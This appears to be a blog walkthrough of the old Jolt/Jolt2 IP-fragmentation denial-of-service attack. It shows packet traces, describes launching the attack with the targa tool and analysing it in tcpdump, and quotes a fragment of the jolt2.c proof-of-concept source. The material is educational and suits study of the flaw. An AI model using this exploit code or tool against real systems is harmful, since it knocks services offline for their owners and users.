JOLT
The attacker sends the same IP packets (illegally fragmented ICMP ECHOs or illegally fragmented UDP packets) to the attacked machine. "the affected systems contain a flaw in the code that performs IP fragment re-assembly. If a continuous stream of fragmented IP datagrams with a particular malformation were sent to an affected machine, it could be made to devote most or all of its CPU ability to processing them. The data rate needed to completely deny service varies depending on the machine and network conditions, but in most cases even relatively moderate rate would suffice."To show fragmentation in practice I choose traces underneath. The first example indicates not fragmented ICMP packet and the second example Indicates fragmented ICMP packets. Examples one and two are not showing the hole packets, but just part of them.
Example 1:
IP: ----- IP Header -----…
IP: Total length = 60 bytes
IP: Identification = 46881
IP: Flags = 0X
IP: .0.. .... = may fragment
IP: ..0. .... = last fragment
IP: Fragment offset = 0 bytes
IP: Time to live = 32 seconds/hops
IP: Protocol = 1 (ICMP)
…
ICMP: ----- ICMP header -----ICMP:
ICMP: Type = 8 (Echo)
ICMP: Code = 0
…
Essential values from trace above, which are related to fragmentation are:
Identification = 46881
Total length = 60
More Fragments = 0
Fragment offset = 0
Example 2:
- - - - - - - - - - - - - - - - - - - Packet 1 - - - - - - - - - - - - - - - - - - - -…
IP: ----- IP Header -----IP: Total length = 1500 bytes
IP: Identification = 35362
IP: Flags = 2X
IP: .0.. .... = may fragment
IP: ..1. .... = more fragments
IP: Fragment offset = 0 bytes
IP: Time to live = 32 seconds/hops
IP: Protocol = 1 (ICMP)
…
ICMP: ----- ICMP header -----ICMP:
ICMP: Type = 8 (Echo)
ICMP: Code = 0
…
- - - - - - - - - - - - - - - - - - - Packet 2 - - - - - - - - - - - - - - - - - - - -…
IP: ----- IP Header -----IP: Total length = 1500 bytes
IP: Identification = 35362
IP: Flags = 2X
IP: .0.. .... = may fragment
IP: ..1. .... = more fragments
IP: Fragment offset = 1480 bytes
IP: Time to live = 32 seconds/hops
IP: Protocol = 1 (ICMP)
…
- - - - - - - - - - - - - - - - - - Packet 3 - - - - - - - - - - - - - - - - - - - -…
IP: ----- IP Header -----IP: Total length = 68 bytes
IP: Identification = 35362
IP: Flags = 0X
IP: .0.. .... = may fragment
IP: ..0. .... = last fragment
IP: Fragment offset = 2960 bytes
IP: Time to live = 32 seconds/hops
IP: Protocol = 1 (ICMP)
…
Essential values from trace above, which are related to fragmentation are:
Packet 1 Packet 2 Packet 3
Identification 35362 35362 35362
Total Length 1500-20*=1480 1500-20*=1480 68-20*=48
More fragments 1 1 0
Fragment offset 0 1480 2960
* - IP header
Now we will use targa to launch jolt attack and analyse it with the help of tcpdump.
We have used option 2 to launch jolt attack from targa DOS tool.Now lets go to tcpdump and see what we have.
So we can see following things from above dump:
1)it sends lots of fragmented packets.
2)packets are highly fragment.
3)they are out of order as you can see after offset 46736 we have offset 47120
4)fragmentation is not legal i.e if you add the data length of packet in offset you wont get the next offset.
example offset + length =next-offset
46736+(400-20)=47116 !=47120
Source code/ Pseudo code
"This is the proof of-concept code for the W indows denial-of-service attack described by the Razor
team (NTBugtraq, 19-May-00) (MS00-029). This code causes cpu utilization to go to 100% ".
The below lines comes from jolt2.c:
…
pkt.ip.v ersion = 4;
pkt.ip.ihl = 5;
pkt.ip.tot_len = htons(iplen + icmplen) + 40;
pkt.ip.id = htons(0x455);
pkt.ip.ttl = 255;
pkt.ip.protocol = (port ? IPPROT O_UDP : IPPROTO_ICMP);
pkt.ip.saddr = src_addr;
pkt.ip.daddr = dst_addr;
pkt.ip.frag_off = htons (8190);
if (port)
{
pkt.proto.udp.source = htons(port|1235);
pkt.proto.udp.dest = htons(port);
pkt.proto.udp.len = htons(9);
pkt.data = 'a';
} else {
pkt.proto.icmp.type = ICMP_ECHO;
pkt.proto.icmp.code = 0;
pkt.proto.icmp.checksum = 0;
}
…
Comments
Post a Comment